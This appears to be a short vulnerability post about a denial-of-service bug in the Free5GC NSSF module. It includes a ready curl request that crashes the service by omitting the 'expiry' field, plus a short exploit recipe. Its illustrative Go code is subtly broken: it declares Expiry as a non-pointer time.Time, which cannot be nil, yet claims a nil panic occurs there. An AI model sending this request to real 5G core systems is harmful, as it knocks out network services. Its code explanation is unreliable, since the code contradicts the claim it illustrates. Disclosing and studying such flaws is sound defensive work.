Listen to this Post
How the mentioned CVE works:
The vulnerability is a nil pointer dereference in the NSSF (Network Slice Selection Function) module of Free5GC. It occurs when an attacker sends a specially crafted POST request to the `Nnssf_NSSAIAvailability` service endpoint. The exploit is triggered when the mandatory “expiry” field is completely omitted from the JSON payload of the request. The application code does not perform adequate null checks on this field before attempting to use it. This causes the code to dereference a nil pointer, leading to a panic in the Go-based application. This panic crashes the NSSF service instance, resulting in a full denial-of-service condition for the network slice availability functionality.
Platform: Free5GC
Version: 4.0.0, 4.0.1
Vulnerability: Nil Pointer Dereference
Severity: High
date: 2025-11-24
Prediction: Patch by 2025-12-15
What Undercode Say:
curl -X POST "http://<free5gc_ip>:8080/nnssf-nssaiavailability/v1/nssf-availability" -H "Content-Type: application/json" -d '{"tai":{"plmnId":{"mcc":"001","mnc":"01"},"tac":"000001"},"supportedFeatures":"abcdef"}'
type NssfEventSubscription struct {
Expiry time.Time `json:"expiry,omitempty"`
// ... other fields ...
}
func (s Server) HandlePostNSSAIAvailability(w http.ResponseWriter, r http.Request) {
var subData NssfEventSubscription
json.NewDecoder(r.Body).Decode(&subData)
// Vulnerability: Using subData.Expiry without checking for nil
expiryTime := subData.Expiry // Panic occurs here if Expiry is nil
}
How Exploit:
Craft POST request.
Omit expiry field.
Service crashes.
Protection from this CVE
Input validation required.
Add nil checks.
Update Free5GC version.
Impact:
NSSF service crash.
Denial-of-Service.
Service unavailability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
